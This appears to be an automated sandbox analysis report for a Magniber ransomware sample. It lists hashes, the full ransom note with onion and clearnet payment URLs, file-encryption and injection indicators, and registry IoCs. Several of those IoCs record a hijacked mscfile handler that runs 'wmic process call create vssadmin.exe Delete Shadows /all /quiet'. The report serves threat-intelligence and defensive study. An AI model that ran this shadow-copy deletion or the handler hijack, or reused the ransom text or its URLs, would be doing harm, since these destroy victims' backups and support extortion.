magniber | 56fa96b94945d4d6ef4fcd4ec6561df7fefbd259296535e66c712daf3f9f8b44

Analysis

max time kernel
59s
max time network
46s
platform
windows7_x64
resource
win7-20220414-en
submitted
25-05-2022 09:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e.bin.dll
Size

21KB
MD5

a60c5212d52fe1488d2f82989a2947d2
SHA1

0a744d6c76902d28eb6687d66c18b0a354f29b9d
SHA256

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e
SHA512

afd14daa5bd9448e09f25d561e8be34e16f93a2825129d165e817a4a2a3ffc339efefd6f26e78c4853acfbce7f51c88b81601324b123d8c377d72da15dcf9327

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://9604f8c8d21074002edihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://9604f8c8d21074002edihlxbl.uponmix.xyz/dihlxbl http://9604f8c8d21074002edihlxbl.flysex.space/dihlxbl http://9604f8c8d21074002edihlxbl.partscs.site/dihlxbl http://9604f8c8d21074002edihlxbl.codehes.uno/dihlxbl Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://9604f8c8d21074002edihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl

http://9604f8c8d21074002edihlxbl.uponmix.xyz/dihlxbl

http://9604f8c8d21074002edihlxbl.flysex.space/dihlxbl

http://9604f8c8d21074002edihlxbl.partscs.site/dihlxbl

http://9604f8c8d21074002edihlxbl.codehes.uno/dihlxbl

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1508	828	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	828	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1384	828	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	828	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	828	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	520	828	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1536	828	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	828	vssadmin.exe	40

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Dwm.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\DismountNew.crw => C:\Users\Admin\Pictures\DismountNew.crw.dihlxbl	Dwm.exe
File opened for modification	C:\Users\Admin\Pictures\RegisterComplete.tiff	Dwm.exe
File renamed	C:\Users\Admin\Pictures\RegisterComplete.tiff => C:\Users\Admin\Pictures\RegisterComplete.tiff.dihlxbl	Dwm.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

rundll32.exe

description	pid	Process	procid_target
PID 564 set thread context of 1244	564	rundll32.exe	17
PID 564 set thread context of 1336	564	rundll32.exe	16
PID 564 set thread context of 1396	564	rundll32.exe	15

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
1516	vssadmin.exe
520	vssadmin.exe
1536	vssadmin.exe
1140	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEExplorer.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000962422cf799f2f46a7e75b376cef3c3c00000000020000000000106600000001000020000000f0ce8c91956bb0702e54882fcc747db98441078f32560d2d03773b6eb35f66bf000000000e8000000002000020000000d69ca552cbf5aebc2158ef04aa980fbb7357d452fecf000d4c2aadf91c0d137c90000000eb0c43236cbc6ce29bcb6e8d63ab3cdd70965214371f71b4a19bf1988319d88a7fd416c498b53e94bcce70971eb08aacb208ec0cd0d8b125dfe911ff6d9c9f2caf8fa9f6a41bc3ade585e12b0bfcea5f83cb8f35536f4ee62bec0455a654c31083e132fc26748c4bec8053ff0ff76287fdfc183f677cffc4dedd60e599bfd70c4af15d7062226a3157a9b55f9bc12bde400000004da367305fe5fe8097b32d757634bfce8a610d1c38b965b8078f785e460b6d62df619846fd8e832a00063930eb61901522d85191b2f071052c9c018e0343fabc	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0a1b1842e70d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000962422cf799f2f46a7e75b376cef3c3c0000000002000000000010660000000100002000000067aaf8b571b00cbebd9a1836c8ad0fb5d2764f090a6d9729a06e068bf87b9e90000000000e8000000002000020000000103b1728caeca57469c82e2208b8e936dc29bcae4033b28d78164b362bdecf852000000055f27f6e1ac7487c4e955a80977c538dfaa147e2161263d3b10f73113687c1c4400000001fb4e34b525f32f0d62dadc6ade9d015afed47a5eb13d648ec6f2918c7dfc2d283e03ef983e293bcedc139230028e876b0657f328844e9bc3412d92164b3e014	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A3C9FD31-DC21-11EC-9C5E-7EDEB47CBF10} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Modifies registry class 64 IoCs

Processes:

Explorer.EXEDwm.exetaskhost.exeiexplore.exe

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 200000001a00eebbfe230000100090e24d373f126545916439c4925e467b00000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile	Dwm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\IconSize = "48"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f4225481e03947bc34db131e946b44c8dd50000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\FFlags = "1092616209"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Mode = "6"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\LogicalViewMode = "2"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\NodeSlot = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open	Dwm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupView = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupByKey:PID = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Rev = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
2036	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid	Process
564	rundll32.exe
564	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid	Process
1396	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

rundll32.exe

pid	Process
564	rundll32.exe
564	rundll32.exe
564	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exewmic.exe

description	pid	Process
Token: SeShutdownPrivilege	1396	Explorer.EXE
Token: SeShutdownPrivilege	1396	Explorer.EXE
Token: SeShutdownPrivilege	1396	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemProfilePrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeProfSingleProcessPrivilege	1464	WMIC.exe
Token: SeIncBasePriorityPrivilege	1464	WMIC.exe
Token: SeCreatePagefilePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeDebugPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeRemoteShutdownPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: 33	1464	WMIC.exe
Token: 34	1464	WMIC.exe
Token: 35	1464	WMIC.exe
Token: SeShutdownPrivilege	1396	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemProfilePrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeProfSingleProcessPrivilege	1464	WMIC.exe
Token: SeIncBasePriorityPrivilege	1464	WMIC.exe
Token: SeCreatePagefilePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeDebugPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeRemoteShutdownPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: 33	1464	WMIC.exe
Token: 34	1464	WMIC.exe
Token: 35	1464	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1368	wmic.exe
Token: SeSecurityPrivilege	1368	wmic.exe
Token: SeTakeOwnershipPrivilege	1368	wmic.exe
Token: SeLoadDriverPrivilege	1368	wmic.exe
Token: SeSystemProfilePrivilege	1368	wmic.exe
Token: SeSystemtimePrivilege	1368	wmic.exe
Token: SeProfSingleProcessPrivilege	1368	wmic.exe
Token: SeIncBasePriorityPrivilege	1368	wmic.exe
Token: SeCreatePagefilePrivilege	1368	wmic.exe
Token: SeBackupPrivilege	1368	wmic.exe
Token: SeRestorePrivilege	1368	wmic.exe
Token: SeShutdownPrivilege	1368	wmic.exe
Token: SeDebugPrivilege	1368	wmic.exe
